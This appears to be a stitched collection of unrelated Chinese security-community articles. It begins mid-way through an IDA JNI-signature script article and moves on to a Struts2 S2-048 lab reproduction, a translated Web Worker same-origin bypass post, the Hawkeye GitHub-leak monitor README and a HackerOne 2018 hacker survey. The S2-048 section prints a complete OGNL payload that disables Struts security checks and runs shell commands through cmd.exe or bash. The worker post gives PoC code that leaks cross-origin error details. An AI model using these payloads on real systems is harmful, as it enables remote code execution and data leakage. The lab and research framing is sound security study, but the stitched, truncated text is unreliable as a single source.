symbols现在存放了所有的方法，只需要判断是否以“ **Java_** ”开头就能区分native方法了。
接着是读取前面生成的方法签名文件，读取它的所有方法签名信息，这里我使用如下方法：
sig_file = AskFile(0, '*.*', 'open sig file')
**AskFile()** 方法会弹出一个文件选择框来让用户选择生成的文件，我觉得这种交互比直接写死文件路径要优雅，虽然这里会让你参与进来，可能会使你烦燥。
我们传入获取到的第一条Java方法签名给上一步的 **get_jni_sig()** 方法，来生成对应的JNI方法签名。最后，调用
**SetType()** 来设置它的方法签名信息。
至此，所有的工作都完成了。完整的工程见：<https://github.com/feicong/jni_helper> 。 | 社区文章 |
## 一、漏洞分析
### 1\. 漏洞背景：
1. 官方说明：
> It is possible to perform a RCE attack with amalicious field value when
> using the Struts 2 Struts 1 plugin and it's a Struts1 action and the value
> is a part of a message presented to the user, i.e. whenusing untrusted input
> as a part of the error message in the ActionMessageclass.
2. 详见：<https://cwiki.apache.org/confluence/display/WW/S2-048> 这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是将struts1的action封装成struts2的action以便在strut2上使用。
3. 主要受影响的Struts版本为：2.3.x
4. 攻击者构造恶意字段值（value）通过Struts2的struts2-struts1-plugin传递给被攻击主机，从而实现RCE，获取远程主机的控制权限。
### 2\. 漏洞原因
1. showcase/src/main/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java下，“Struts1.gangsterAdded”被引入：
2. showcase/src/main/resources/globalMessages.properties下“Struts1.gangsterAdded”被定义. Struts1.gangsterAdded是一个关键值，一旦“Gangster{0} added successfully”，它将绕开执行OGNL代码。
3. 这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是将struts1的action封装成struts2的action以便在strut2上使用。本质问题出在struts2-struts1-plugin包Struts1Action.java文件中，Struts1Action类中的execute方法调用了getText函数，这个函数会执行ognl表达式，更为严重的是getText的输入内容是攻击者可控的。
4. 输入参数之后，执行Struts1ction的execute方法。
5. 调用saveGangsterAction的excute方法，将表单中地内容封装到actionforward，这个方法中就带入有毒参数gforn.getName()放到了messages结构中，gform.getName()的值是从客户端获取的。
6. 攻击者将用户可控地值添加到ActionMessage并在客户前端展示，导致其进入getText函数，最后messageb被当作ognl表达式执行。以下两部分代码事位于integration app下的SaveGangsterAction.java部分源码：
### 3.漏洞总结：
1. 通过运行struts1Acion.java的execute方法，获取Action。
2. 调用saveGangsterAction的execute方法，这部分代码就是漏洞代码，这里创建了一个action message变量，将表单请求封装到actionForm中。代码详见图2.6）
3. 设置标识，获取ActionMessage。
4. 回到Struts1Action.java，跟着代码流，我们能看到控制流到达getText方法在TextProviderSupport.java：红框所示的是在LocalizeTextUtil.Java中FindText的方法。这种方法负责找到本地message给key，它也能解析OGNL表达式。这个key就是aTextName,正如漏洞原因中提到的。
5. 如果这种方法在提供地key中没有找到message，它就会调用getDefaultMessage地方法：
6. translateVariables方法从OgnlTextPrasrt.java中调用parser.evaluate方法,Parser.evaluate函数事负责从message段中解析OGNL表达式的，它检查在message中的”${“或者”%{”字符串，创建var变量并且求它的值。这里就不截图了。
7. 在Apache Struts中，大部分OGNL注入漏洞都被爆出来了。攻击者能够利用这些漏洞很容易就执行命令，因为OGNL注入漏洞比起其他攻击更简单。
8. 漏洞防护：1）停用Struts2-struts1-plugin插件、showcase.war；2）讲直接传递原始值改为使用资源键：
## 二、宿主环境及攻击环境
这里，我开了两个虚拟机，kali做攻击机，Centos做靶机，以模拟RCE。
1. 靶机：centOS 7.3：
2. 攻击机：kali linux
## 三、EXP实现
### 1.搭建漏洞环境
1. 下载漏洞环境包：<http://archive.apache.org/dist/struts/2.3.24/struts-2.3.24-apps.zip>
2. 下载Tomcat：<http://tomcat.apache.org/tomcat-7.0-doc/index.html>
3. 在Centos解压Tomcat包（这里我解压到用户目录下）
4. 将下载好的漏洞环境包解压，将struts2-showcase.war，将移至解压后的Tomcat目录下的webapps下
5. 开启Tomcat，执行命令：
### 2.本地验证漏洞
1. 在终端打开Tomcat之后，在浏览器查看：127.0.0.1:8080，下图表示tomcat搭建成功：
2. 访问漏洞环境：（如果无法访问，重启Tomcat将自动部署漏洞war包）
<http://127.0.0.1:8080/struts2-showcase/integration/saveGangster.action>
3. 验证漏洞环境
i.输入表达式
ii.Submit之后可看到运算被后台执行：
### 3.模拟RCE（远程代码执行）（确保Tomcat打开）
1. Centos开启httpd、iptables、关闭防火墙、设置虚拟机NAT地址和端口。详见：
<http://blog.csdn.net/microsoft2014/article/details/57413491>
<http://linux.it.net.cn/CentOS/fast/2015/0110/11567.html>
2. 确认Centos的IP：
3. Kali访问Centos，执行OGNL语句：
4. 访问：<http://192.168.152.136:8080/struts2-showcase/integration/saveGangster.action>
5. Submit后：
### 4.POC使用
1. 声明文件上传：
> %{(#szgx='multipart/form-data')
2. 注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性，并将获取地结果覆盖_memberAccess属性，绕过SecurityMemberAccess限制：
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
3. 判断服务器系统，调用cmd或bash：
(#cmd='echo dota').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}
## 四、其他
### 1.复现过程中出现的问题及解决办法
1. Tomcat安装的时候，一开始安装我装的事7.0.8x版本，在浏览器上进不了tomcat，后来使用低版本的，成功解决这个问题。
2. 关闭、重置Centos防火墙的时候在终端下输入命令可能会出现一些问题，这些问题一般是因为没有安装一些软件如：iptables、httpd等，解决方法已在上述说明。
3. 模拟远端登录的时候，一定要注意攻击机输入地IP为Centos服务器地址+端口号。 | 社区文章 |
原文链接：http://www.brokenbrowser.com/workers-sop-bypass-importscripts-and-basehref/
原文标题：Workers SOP Bypass importScripts and baseHref
原作者： **@magicmac2000**
译： **Holic (知道创宇404安全实验室)**
* * *
### 前言
关于HTML web worker的科普：
> web worker 是运行在后台的 JavaScript，不会影响页面的性能。 当在 HTML
> 页面中执行脚本时，页面的状态是不可响应的，直到脚本已完成。
worker线程中的代码具有独立的执行环境，有兴趣的同学可以去看[相关文档](https://html.spec.whatwg.org/multipage/workers.html#workers)。
### 正文
正如所知，所有的浏览器在试图访问不同源上的资源时会加强一些限制。当然我们可以播放或渲染来自不同域的音乐和图像，然而由于存在[同源策略](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)，我们并不能够读取这些资源的具体内容。比如我们可以在canvas上绘制一幅图像，但不能使用 getImageData
方法读取到它的具体像素信息，除非该被加载的资源和加载主体是在相同的域下的。
该规则同样适用于脚本。我们可以随意加载外部不同域下的脚本，但是如果那些脚本存在错误，我们不能获取到任何有关的细节，因为错误本身可能会泄漏信息。换句话说，浏览器不惜一切代价防止资源的信息泄漏问题，即使采用禁止显示错误细节的方法。
假设我们在 cracking.com.ar 上渲染了来自 brokenbrowser.com 上的脚本，如下所示：
---- Main page on cracking.com.ar ---- <script src="http://brokenbrowser.com/errorscript.js"></script>
---- Script errorscript.js hosted in brokenbrower.com ---- this_is_an_error();
浏览器在执行一个不存在的函数“this_is_an_error()"的时候会抛出一个异常，然而这个脚本是来自不同的源，主线程中不会显示任何相关的细节信息。实际上主页仅仅获取到简单的"Script
error"信息，省略了通常会附带着的重要错误信息：错误描述，URL和行号等。主页获取到的仅仅是错误存在这一简单信息而已。
浏览器这一行为是正确的，在加载可能泄露重要信息的站点的脚本或者其他文件时（比如ID，搜索记录等）保护了终端用户。
Script requested from a different origin:
Description: Script error
URL:
Line: 0
另一方面，如果我们把`errorscript.js`放在和主页相同的域下，我们会开心地看到更多的信息。注意下述不同之处：
Script requested from the same origin:
Description: 'this_is_an_error' is undefined
URL: http://www.cracking.com.ar/errorscript.js
Line: 1
如果想了解更多关于同源策略（SOP）的工作原理，参考[该链接](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) 。但出于研究漏洞的目的，我们对这一小部分比较感兴趣：
既然我们在相同的正常页面下，那就通过[Worker](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)绕过限制吧。
通常情况下，我们不能再不同的域下面创建worker。实际上一系列尝试都会惹怒浏览器，然后马上抛出安全错误问题。那我们就试着在 cracking.com.ar
上创建一个 bing.com 的Worker，看看将会发生什么。
看到了什么？我们甚至没法创建Worker！
如果改变我们自己的 document.baseURI，在创建Worker之前使它指向 bing.com 的话，将会发生什么呢？
Wow! 看来我们的幸运日到了？非也。如果我们在历史记录，地址和base
object上面做点手脚，我们会看到很多有意思的东西。运气不是必要因素，只要坚持不懈就会有所收获，但其间也会产生许多意想不到的波折，要做好心理准备。（ We
don’t need luck but just persistence shaking these objects and tons of fruit
will fall (watch your head!).）。无论如何，我们赶快构造PoC，看看是不是能从bing.com 获取到泄漏信息。
var base = document.createElement("base");
base.href = "http://www.bing.com";
document.head.appendChild(base);
var worker = new Worker('http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js');
worker.onerror = function(err)
{
alert("URL: "+ err.filename +
"\n\nLine: " + err.lineno +
"\n\nError: " + err.message);
}
Oh,我知道你现在在想些什么，bug猎手。你一定在想”仅仅泄漏成员的名称“不算什么大事，对吗？但这并不太对，因为很多站点是根据用户返回内容的，而且如果我们能泄漏足够多的数据，我们最终可能猜到关于她的成吨信息。另外，如果我们找到这个源下读取内容的js文件（像XMLHttpRequest），我们最后可以随意使用它并且获取更多的材料。在任何情况下，泄漏的”undefined
sj_ic“错误信息对我们来说是不够的，我们想要更多的信息。太棒了！
下面我们来试一下其他绕过这个错误的方法。这是我们不能改变baseURI，但是可以大胆地使用Worker内的importScripts
方法。这时导入的脚本会在我们的上下文（源）执行，错误信息依然会泄漏，但是我们将能够创建函数或者变量来在让 bing 的脚本跑的更远一点。
例如，在导入脚本之前，我们先创建一个类似能够泄漏 “sj_ic” 错误信息的函数。换句话说，由于 ”sj_ic“ 没有定义，bing
再也不会抛出这个错误。作为奖励，我们会通过主线程获取到的参数，允许我们通过这个函数获取到一点更多的自由信息，可是先别兴奋（一颗赛艇），这是在我们的上下文源上运行的。另言之，实际上我们能读取那个函数的参数并不是个安全bug，错误信息的泄漏才是漏洞所在。
// Main
var worker = new Worker('workerimporterror.js');
worker.onmessage = function(event)
{
alert("Text coming from Worker on bing.com:\n\n" + event.data);
}
worker.onerror = function(err)
{
alert("URL: "+ err.filename +
"\n\nLine: " + err.lineno +
"\n\nError: " + err.message);
}
//---- workerimporterror.js ---- function sj_ic(n)
{
self.postMessage(n);
}
importScripts("http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js");
我们的sj_ic函数被外部脚本调用，通过`self.postMessage`我们在主线程获取到了相关数据。
然后便是新泄漏的错误信息。”新“是因为现在我们创建了一个叫”sj_ic“的函数，就看不到之前的错误信息了。正如所见，错误信息现在是”_H is
undefined“
当然攻击者会持续提供外部脚本，直到她获取到了想要的信息。但我们只是个娱乐的 bug-hunter，点到为止。?
**译者注**
参考后面的测试链接可以发现，Masato
Kinugawa的测试链接中，postMessage使用了`arguments.callee.caller`作为参数，在Edge浏览器上可以通过`arguments.callee.caller`获取到全文如下（测试版本Edge
25） 。
原作者：
Masato Kinugawa提供的：
### 参考测试链接
在 Edge/IE 上[测试成功](http://www.cracking.com.ar/demos/workerleak/)
来自[@Masato Kinugawa](https://twitter.com/kinugawamasato)的测试链接：
https://vulnerabledoma.in/edge_workerleak/
[相关文件下载](http://paper.seebug.org/papers/Archive/workerleak.zip)
* * * | 社区文章 |
# Hawkeye
GitHub地址：<https://github.com/0xbug/Hawkeye>
## 简介
> 监控github代码库，及时发现员工托管公司代码到GitHub行为并预警，降低代码泄露风险。
## 截图
[
## 特性
* 邮箱告警通知
* 黑名单添加
* 爬虫任务设置
## 依赖
* Python 3.x
* Flask
* MongoDB
## 支持平台
* Linux, macOS
## 安装
克隆项目到本地
git clone https://github.com/0xbug/Hawkeye.git --depth 1
Hawkeye 支持 Python _3.x_ on Linux and macOS。(2.x兼容性 需自行修改测试)
安装依赖 (修改/usr/local/bin/python3 为你系统的Python 3 路径)
cd Hawkeye
pip install virtualenv
virtualenv --python=/usr/local/bin/python3 venv
source venv/bin/activate
pip install -r deploy/requirements.txt
## 设置
cp config.ini.example config.ini
vim config.ini
### 需要修改的配置
* `github` 帐户配置
[GitHub]
USERNAME = 帐号
PASSWORD = 密码
* `MongoDB` 认证配置(可选)
先创建用户
mongo
>db.createUser({user:'root',pwd:'password',roles:[{role:'dbOwner',db:'Hawkeye'}]})
然后修改配置文件
[MongoDB]
HOST = localhost
PORT = 27017
ACCOUNT = 帐号
PASSWORD = 密码
* 告警配置（`ENABLE`:是否开启告警功能）
[Notice]
ENABLE = 1
MAIL_SERVER = 邮件服务器
MAIL_PORT = smtp端口
FROM = 发件人
PASSWORD = 密码
## 运行
python Hawkeye.py
然后访问 <http://0.0.0.0:5000/> 进行关键词、告警、黑名单、定时任务配置(初次运行需要点击确认按钮新建cron任务)。
## 部署
建议使用 `supervisor` 设置成开机自启，并监控进程，配置文件 `deploy/Hawkeye.conf.example` | 社区文章 |
# HackerOne：2018年全球白帽黑客收入调查报告
##### 译文声明
本文是翻译文章，文章原作者 Hackerone，文章来源：hackerone.com
原文地址：<https://www.hackerone.com/sites/default/files/2018-01/2018_Hacker_Report.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、黑客的定义
黑客：一类喜欢挑战智力，并能够创造性地突破限制的人。
（译者注：在本报告中，“黑客”一词均指进行漏洞研究和漏洞挖掘的白帽黑客。）
## 二、摘要
我们正处在一个充满黑客的时代。一些黑客被誉为英雄；一些黑客不断被媒体提及；一些黑客被认为是邪恶的化身；还有一些假想的黑客，不断出现在好莱坞电影之中。
在HackerOne，我们认同Keren Elezari的观点——黑客是互联网的免疫系统。我们需要Elon
Musk这样的人来创造技术，也同样需要Keren和Mudge这样的人来研究并发现这些技术创新之中的缺陷。
每发现并修复一个漏洞，互联网的安全系数就随之多增加了一分。在HackerOne社区中，安全研究人员日复一日地重复着同一项工作——寻找漏洞，以负责任的方式向相关组织报告漏洞，并抢在犯罪分子利用漏洞之前将其修复。这个社区十分强大，并且还在不断发展。在短短两年的时间之内，我们的注册用户就增长了10倍。
这份调查报告，是白帽黑客社区有史以来规模最大的调查，共有1698名受访者参与其中。当你阅读这份报告时，你会发现白帽黑客社区所具有的品质：保持好奇、不懈探索、团结互助、乐善好施。
据统计，有四分之一的黑客曾经向慈善组织捐款，许多黑客都会与其他黑客及安全研究人员无偿分享知识。在没有现金奖励的情况下，黑客们已经帮助美国国防部解决了近3000个漏洞。
他们会报告安全漏洞，因为他们认为这才是最正确的做法。
在加州大学伯克利分校、塔夫茨大学、卡内基梅隆大学等顶级学府中，黑客技术已经成为了一门有学分的课程。如今，世界各地的黑客都在通过寻找漏洞来获得收入。各种漏洞奖励计划向所有人开放，并提供丰厚的奖励。在一些国家，黑客的总收入甚至能达到软件工程师收入的16倍。
尽管我们已经取得了很多成就，但在未来，还有许多工作要去完成。绝大多数企业（福布斯全球企业2000强中的94%）都没有一个面向外界的漏洞收集计划。有近四分之一的黑客没有报告他们发现的漏洞，仅仅因为相应的公司没有提交漏洞的渠道。
关于如何应对这一挑战以及迄今取得的进展，请阅读“企业正在逐步接受外界提交的漏洞”章节。
在现代数字社会中，黑客已经成为了重要成员之一。作为一份记录黑客的档案，通过这份报告大家可以深入了解黑客的想法，查看世界各地的统计数据和增长指标，掌握近期发现的漏洞，并阅读一些漏洞奖励计划参与者的故事。
## 三、主要调查结果
1. 漏洞的奖金可能会改变一些黑客的生活。在印度，顶尖黑客所获得的收入，是软件工程师薪资中位数的16倍。顶尖研究人员所获得的收入，是软件工程师薪资中位数的2.7倍。
2. 有近四分之一的黑客没有报告他们发现的漏洞，仅仅因为相应的公司没有提交漏洞的渠道。
3. 金钱奖励仍然是黑客进行漏洞挖掘的主要原因，但与2016年相比，该原因已经从第一下降至第四。如今，黑客更多地以“拥有学习机会”作为漏洞挖掘的首要动力，“享受挑战的快感”和“过程非常有趣”并列第二。
4. 在HackerOne社区中，有23%的成员来自印度，20%的成员来自美国，6%的成员来自俄罗斯，4%的成员来自巴基斯坦，4%的成员来自英国。
5. 有将近58%的黑客是自学成才。约50%的黑客在大学本科或研究生阶段学习过计算机科学，26.4%的黑客在高中或高中之前学习过计算机科学，然而仅有不到5%的黑客是在课堂上学会黑客技术的。
6. 有37%的黑客表示，他们只是将黑客技术作为闲暇时间的业余爱好。在HackerOne黑客群体中，大约有12%的黑客年收入在2万美元（约合12.8万人民币）以上，有3%的黑客年收入超过10万美元（约合63.9万人民币），有1.1%的黑客年收入达到35万美元（约合223.6万人民币）。有25%的黑客所获得的漏洞奖励占其年收入的50%以上，有13.7%的黑客所获得的漏洞奖励占其年收入的90%-100%。
## 四、地理分布
HackerOne社区的黑客几乎遍布全球各个国家和地区。印度、美国、俄罗斯、巴基斯坦和英国分别位列前五名，其中印度与美国的黑客成员占比为43%。如此广泛的黑客成员分布，使“黑掉整个地球”这句话成为了可能。由于大多数安全奖励计划都是在线发布、在线提交的，因此黑客可以轻松找到新开展的、奖励丰厚的机会。美国或英国的某家企业，可以直接与印度或俄罗斯的黑客展开紧密合作，从而迅速找到最关键的漏洞所在。
### 4.1 漏洞奖励的国际资金流
在2017年5月发布的《黑客驱动的安全报告》中，我们向大家介绍过，位于印度的黑客已经获得总计超过180万美元的奖金。然而，尽管印度的黑客获得了数百万的奖励，但这些用于奖励的资金大部分都不是印度的公司所支付的。下面的图表展现了HackerOne平台上漏洞奖励资金的流入和流出情况。
### 4.2 漏洞猎人的经济状况
漏洞奖金往往可以改变黑客的生活。我们将参与漏洞奖励计划最为优秀的人员的收入与同类工作薪资情况进行了比较。针对40个国家和地区，我们分别获取了薪资数据。结果表明，顶尖研究人员所获得的收入，是软件工程师薪资中位数的2.7倍。那么，哪个国家二者相差最为悬殊呢？答案是印度。在印度，顶尖黑客所获得的收入，是软件工程师薪资中位数的16倍。这也就意味着，挖掘漏洞比写代码更能赚钱。这也是目前越来越多人从事黑客行业的一大原因。
### 4.3 黑客聚焦：Sandeep
## 五、人口统计
如今的黑客，往往都是年轻、好奇、天才的专业人士。超过90%的黑客年龄在35岁以下，约58%的黑客是自学成才，约44%的黑客是IT专业人士。教育仍然是HackerOne社区所努力的重点。加州大学伯克利分校的学生们可以在课堂上学习黑客知识并获得相应学分。在课堂之外，黑客们也经常会分享他们的知识，并竭尽所能帮助他人。要学好黑客相关的知识，需要持续不断地努力学习，并且需要对这方面知识拥有强烈的兴趣。
### 5.1 年龄
在HackerOne上，90%以上的黑客年龄在35岁以下，超过50%的黑客在25岁以上，18岁以下的黑客超过8%。大多数（45.3%）的黑客年龄在18至24岁之间，其次是37.3%的黑客年龄在25至35岁之间。
### 5.2 教育程度
绝大多数黑客（58%）都是自学成才，约67%的黑客通过在线资源、博客、书籍或通过他们所在的社区（包括其他黑客、朋友、同事等）学习黑客技巧和诀窍。
### 5.3 职业
将近一半的黑客从事IT/软件/硬件领域的工作，其中有44%以上的人专注于安全研究，有33%的人从事软件开发。在HackerOne，仅有25%的黑客是学生。有13%的黑客表示，他们每周的全部时间或40小时以上的时间，会用来进行黑客相关工作。
### 5.4 每周进行黑客相关工作的时间
超过66%的黑客每周花费20小时或更少的时间进行黑客相关工作，有44%的黑客每周花费10小时或更少的时间。超过20%的黑客每周会花费超过30小时。
### 5.5 黑客教育的趋势
为社区赋能，是我们的核心价值观之一。黑客都是充满好奇心的，而我们的目标就是通过黑客教育来满足大家的这种好奇心。
#### 5.5.1 通过学习黑客获得大学学分
我们非常荣幸能够与加州大学伯克利分校合作，训练学生如何寻找漏洞并开发更安全的软件。关于该合作项目的细节，请阅读CNN的文章：<http://money.cnn.com/2017/12/01/technology/berkeley-cyberwar-hackers-students/index.html> 。这是大学为以黑客技术为核心的教育产品提供学分的首例尝试。
#### 5.5.2 思想创新源于多元化
2017年6月，Lookout和HackerOne合作举办了一个安全教育活动，我们将女性工程师召集在一起，开展了一次黑客和网络安全的研讨会。HackerOne平台上的绝大多数黑客都是男性，但我们的最终目标是为所有对黑客技术感兴趣的人提供教育。在本次研讨会上，我们组织了赏金挑战赛、教育研讨会、黑客攻击体验以及能够赢取拉斯维加斯DEF
CON 25免费参与机会的抽奖活动。
#### 5.5.3 从最好的资源学习
HackerOne已经发行了超过10000本Peter Yaworski的《Web Hacking 101》（
<https://leanpub.com/web-hacking-101>
）。到目前为止，平台上的新黑客成员都有资格免费获得一份该书的副本。此外，我们还为学生和社群团体提供面对面的研讨会，并与我们实时的黑客活动相结合。其中的一个较为知名的活动，就是我们在拉斯维加斯W酒店屋顶泳池边，由Frans
Rosen进行的现场直播，主题为如何组建安全团队并不断获得影响力（ <https://www.youtube.com/watch?v=Uyjkgsu-mrU>
）。此外，Hacktivity是我们社区的首页，其中包括可以披露的全部漏洞详情、黑客介绍、开展的项目以及漏洞奖励活动。披露的Hacktivity报告是黑客们学习的一个优秀资源。大家可以在这里查看到最近20个报告的摘要：<https://www.hackerone.com/blog/top-20-upvoted-reports-on-hacktivity> 。
### 5.6 黑客聚焦：Nicole
## 六、经验与信号
尽管目前有许多黑客都是年轻人，但近29%的黑客拥有6年以上的经验，其中有超过10%的黑客至少从2006年起（至少拥有11年经验）就一直在进行入侵等相关工作。对于我们来说，年龄并没有太大的意义。针对某位黑客提交的全部漏洞，信号（Signal）可能是最重要的衡量指标，也是HackerOne的关注焦点。关于信号的详细解释请参见：<https://support.hackerone.com/hc/en-us/articles/207377903-What-are-Signal-and-Impact->
。实际上，HackerOne所发布的漏洞有较好的信噪比（Signal to Noise Ratio），而且我们相信会变得越来越好。
### 6.1 最重要的事情：黑客的信号
HackerOne拥有业界最佳的“信噪比”（SNR）。在《黑客驱动的安全报告》中，我们向大家展现了过去几年的信噪比，其结果表明该值正在稳步提升。虽然我们为自己是第一名而感到自豪，但我们仍在不断追求更好：我们已经开始了一项充满雄心的产品开发工作，用于消除所有程序的“噪音”。在测试过程中，我们已经看到了明显的信号值改善。2018年将是重要的一年，敬请期待我们的更多改变。
信噪比的相关定义：
(1) 明确的信号（Clear Signal）：漏洞报告状态被置为“已解决”。这意味着该漏洞是已经过漏洞响应小组验证的有效安全漏洞。
(2) 名义上的信号（Nominal
Signal）：漏洞报告已经关闭，并且状态被置为“有价值的信息”或者“重复提交的漏洞”。尽管并没有提供明确的信号，但这些报告大多数从技术层面上看是准确的，并且能够提供给研究人员进行参考。
(3) 噪音：这些漏洞报告状态被置为“不适用”或“无效提交”。这些漏洞并不真实存在，作为信噪比（SNR）之中的“噪音”。
### 6.2 黑客聚焦：Jack
## 七、目标与工具
黑客如何选择要参与的漏洞项目？他们使用的工具是什么？他们喜欢选择什么样的攻击面？仔细阅读这一章节，就可以找到上述问题的答案。
### 7.1 最受欢迎的工具
在HackerOne，近30%的黑客使用Burp
Suite来帮助他们寻找漏洞，有超过15%的黑客使用自己开发的工具。其他用于寻找漏洞的工具包括：Web代理及扫描器（12.6%）、网络漏洞扫描器（11.8%）、漏洞检查工具（9.9%）、调试器（9.7%）、WebInspect安全评估工具（5.4%）、Fiddler
HTTP协议调试代理工具（5.3%）和ChipWhisperer（0.8%）。
### 7.2 热衷于研究网站、API以及数据保护技术
黑客更喜欢Web应用程序。有超过70%的受访者表示，他们最喜欢用来进行攻击的平台或产品是网站，其余占比较高的依次为：API（7.5%）、自身使用的技术/自己拥有的数据（5%）、Android移动应用程序（4.2%）、操作系统（3.1%）和物联网产品（2.6%）。
### 7.3 黑客聚焦：James
## 八、动机
漏洞猎人寻找漏洞只是为了获得奖金吗？错！毫无疑问，奖金的激励是一个重要的因素，但还有一些其他东西比金钱更为重要。例如，好奇心是整个黑客社群持之以恒的动力来源。一些厉害的黑客会参加更为高级的漏洞探寻计划（例如美国国防部组织的漏洞挖掘活动），黑客们非常希望能尽其所能，让互联网变得更加安全。
### 8.1 金钱并不是首要驱动力
金钱奖励仍然是黑客进行漏洞挖掘的主要原因，但与2016年相比，该原因已经从第一下降至第四。如今，黑客更多地以“拥有学习机会”作为漏洞挖掘的首要动力，“享受挑战的快感”和“过程非常有趣”并列第二。黑客进行攻击的其他主要原因分别为：促进职业发展、拥有保护和防御的机会、在世界上做好事。总体来说，他们想要不断提升并扩展自己的技能，希望从中得到乐趣，同时也想要在这个过程中为建设更安全的互联网做出自己的一份共享。
### 8.2 奖励级别和学习机会最为重要
这些激励机制会驱使黑客们更加关注漏洞，无论是想要获得收入，还是希望磨练自己的技能。超过23%的黑客表示，他们会根据奖励的多少来选择要参与的活动。超过20%的黑客表示，他们会根据挑战性和学习机会来进行选择。其他占比较高的决定因素分别是：喜欢的企业品牌（13%）、安全团队的响应速度/程度（10.7%）和对企业的认可度（9.7%）。
### 8.3 寻找黑客最喜欢的攻击维度：跨站脚本XSS
我们还调查了黑客最喜欢的攻击维度、技术和方法，有超过28%的受访黑客表示他们更喜欢挖掘XSS漏洞，其次占比较高的分别是SQL注入（23.1%）、模糊测试（5.5%）和暴力破解（4.5%）。
### 8.4 如何使用漏洞奖励的奖金
在五年内，HackerOne共计发放了2.3亿美元的奖励，预计截止到2020年，我们将发放10亿美元的奖励。在本文4.1中，我们已经给出了资金流的分布图，但具体到每一位黑客，他们是如何使用所获得的奖金的呢？在拉斯维加斯的线下黑客活动中，我们与一些黑客进行了沟通，以下是他们接受采访时的一些回答：
### 8.5 黑客聚焦：Sam
## 九、真正的社区：共同努力，获得回报
我们在社交网络上有一个标签和口号，是#TogetherWeHitHarder（团结一心，无坚不摧），意思是说，假如一个社区的全体成员能团结一致地开展一个共同的事业，那么所产生的影响将是无限的。正是黑客的团结一致，才使得互联网变得更加安全。
### 9.1 经常会独自工作，善于向他人学习
大约有三分之一（30.6%）的黑客更喜欢单独工作，有31.3%的黑客喜欢阅读其他黑客的博客并从中学习，有13%的黑客时常会与其他同伴一起工作，有9%的人经常与其他黑客合作，8.7%的黑客当过其他黑客的导师或接受过其他黑客的指导，7.1%的黑客曾与其他人共同提交过漏洞报告。
### 9.2 汇聚全社区的力量，参与全球黑客活动
在线交流是我们大部分社区的互动方式。然而，线上失去了面对面讨论问题、共进午餐以及击掌庆祝的机会。HackerOne不仅仅是黑客社群，更相信黑客直接与安全团队相连接所带来的价值。2017年，我们共举办了四场线上黑客活动：在旧金山、阿姆斯特丹、拉斯维加斯和纽约。我们与客户紧密合作，邀请世界各地的顶级会员抽出时间来参加线下活动。这些活动汇集了一些最有潜力的人才，同时连接了具有实力的安全团队，可以共同发现漏洞，探讨攻击面，并能够建立起一些人之间的友情桥梁。
### 9.3 黑客聚焦：Frans
## 十、企业正在以更为开放的态度接收提交的漏洞
针对没有开展漏洞披露政策（VDP）的公司，需要考虑采取怎样的流程和渠道来安全地报告漏洞。并且，我们需要为发现漏洞的黑客提供一个“安全港湾”。最合法且安全的方式就是不披露这些漏洞，因为大多数黑客都无法找到披露漏洞的合适途径。
事实上，有近四分之一的黑客没有报告他们发现的漏洞，仅仅因为相应的公司没有提交漏洞的渠道。但这并不意味着他们会不负责任地披露漏洞情况，他们往往被迫通过其他渠道（例如社交媒体、向企业相关部门发送邮件）告知漏洞详情，但也经常会被忽视，或是被误解。
关于漏洞披露政策（VDP）：这是组织用来接收外部提交漏洞的正式方法。通常采用
[[email protected]](mailto:[email protected]) 的电子邮件形式，这种方式在ISO
29147标准中被定义。但与漏洞奖励计划不同的是，漏洞披露政策并不会向提交者发放金钱奖励，但这一政策仍然非常有效。例如，美国国防部已经通过他们的漏洞披露政策获悉并修复了近3000个安全漏洞。您可以在我们的指南中阅读漏洞披露政策的最佳实践方式：
<https://info.hacker.one/vdp-guide/> 。
然而，如今的企业正在以更为开放的态度接收提交的漏洞。根据我们面向黑客的调查显示，有72%的企业与此前相比公开透明程度有所增加，有34%的企业公开透明程度有显著提升。
美国国防部在过去的18个月中，共计修复了约3000个漏洞，每月修复漏洞数超过167个，每天大约有6个漏洞被提交。更多内容可以阅读：<https://www.wired.com/story/hack-the-pentagon-bug-bounty-results/> 。
### 10.1 黑客聚焦：Tommy
## 十一、总结
在互联网发展史中，有一些非常关键的漏洞，都是由于好奇心的驱使再加之黑客的不断努力，而被发现和解决。Acalvio
Technologies首席安全架构师Chris
Roberts曾这样说：“不幸的是，黑客们经常被描绘成坏人，但我认为在过去的20至30年中，我们其实是好人。我们的工作，是为了帮助大家了解风险，并帮助大家从真正意义上缓解风险。”
HackerOne社区是世界上最大的白帽黑客社区，我们将持续致力于测试并探寻各类组织中存在的安全漏洞——无论是炙手可热的硅谷初创企业，还是像谷歌应用商店、星巴客、通用汽车甚至美国国防部这样全球知名的大型企业、市场和机构。
HackerOne的使命是让世界的互联网变得更加安全。我们已经取得了非常大的进展，但还有很多工作要继续完成。脆弱性披露政策目前已经获得了监管，并得到了各行业的支持（详情参见：<https://www.hackerone.com/blog/The-Voices-of-Vulnerability-Disclosure-Look-Whos-Talking-About-VDPs>
），这是一个潮流发生转变的典型案例。针对企业管理者，运用漏洞披露政策，不仅会为想要提供帮助的道德黑客创造一个安全港湾，还会让您的公司变得更加安全，您的客户数据不会受到任何影响，同时您还拥有了一个来自五湖四海的安全团队。
